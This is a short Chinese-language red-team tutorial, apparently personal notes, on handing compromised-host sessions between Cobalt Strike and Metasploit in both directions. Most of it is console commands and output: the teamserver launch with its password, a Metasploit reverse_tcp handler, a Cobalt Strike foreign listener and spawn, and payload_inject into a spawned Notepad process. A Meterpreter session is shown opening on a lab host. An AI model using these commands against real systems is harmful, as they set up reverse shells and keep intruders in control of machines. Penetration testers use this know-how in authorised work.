cs与msf权限传递
cs传递到msf
1，先启动cs
┌──(root㉿ring04h)-[~/cobalt_strike_4.7] └─# ./teamserver 192.168.196.144 123456 ┌──(root㉿ring04h)-[~/cobalt_strike_4.7] └─# ./start.sh
2，上传木马，上线主机
3，msf配置一个反向连接的tcp监听
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.196.144 lhost => 192.168.196.144 msf6 exploit(multi/handler) > set lport 12345 lport => 12345 msf6 exploit(multi/handler) > exploit
4，cs配置一个Foreign HTTP监听器
host，port就配置msf所在主机ip，端口就行
5，选择spawn(权力委派的意思)进行转移，然后选中Foreign HTTP监听器就行了
6，msf结果
msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.196.144:12345 [*] Sending stage (176198 bytes) to 192.168.196.10 [-] Meterpreter session 3 is not valid and will be closed [*] 192.168.196.10 - Meterpreter session 3 closed. [*] Sending stage (176198 bytes) to 192.168.196.10 [*] Meterpreter session 4 opened (192.168.196.144:12345 -> 192.168.196.10:60922) at 2024-05-28 23:31:51 -0400 meterpreter > ipconfig
msf传递到cs
1，上传木马，上线主机
2，在cs中添加一个监听器
3，在msf中配置
msf6 exploit(multi/handler) > use exploit/windows/local/payload_inject [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/local/payload_inject) > set lhost 192.168.196.144 //cs的ip lhost => 192.168.196.144 msf6 exploit(windows/local/payload_inject) > set lport 3333 //cs的端口 lport => 3333 msf6 exploit(windows/local/payload_inject) > set DisablePayloadHandler true DisablePayloadHandler => true msf6 exploit(windows/local/payload_inject) > set prependmigrate true prependmigrate => true msf6 exploit(windows/local/payload_inject) > set session 1 session => 1 msf6 exploit(windows/local/payload_inject) > exploit [*] Running module against DCTEST [*] Spawned Notepad process 1352 [*] Injecting payload into 1352 [*] Preparing 'windows/meterpreter/reverse_tcp' for PID 1352
4，成功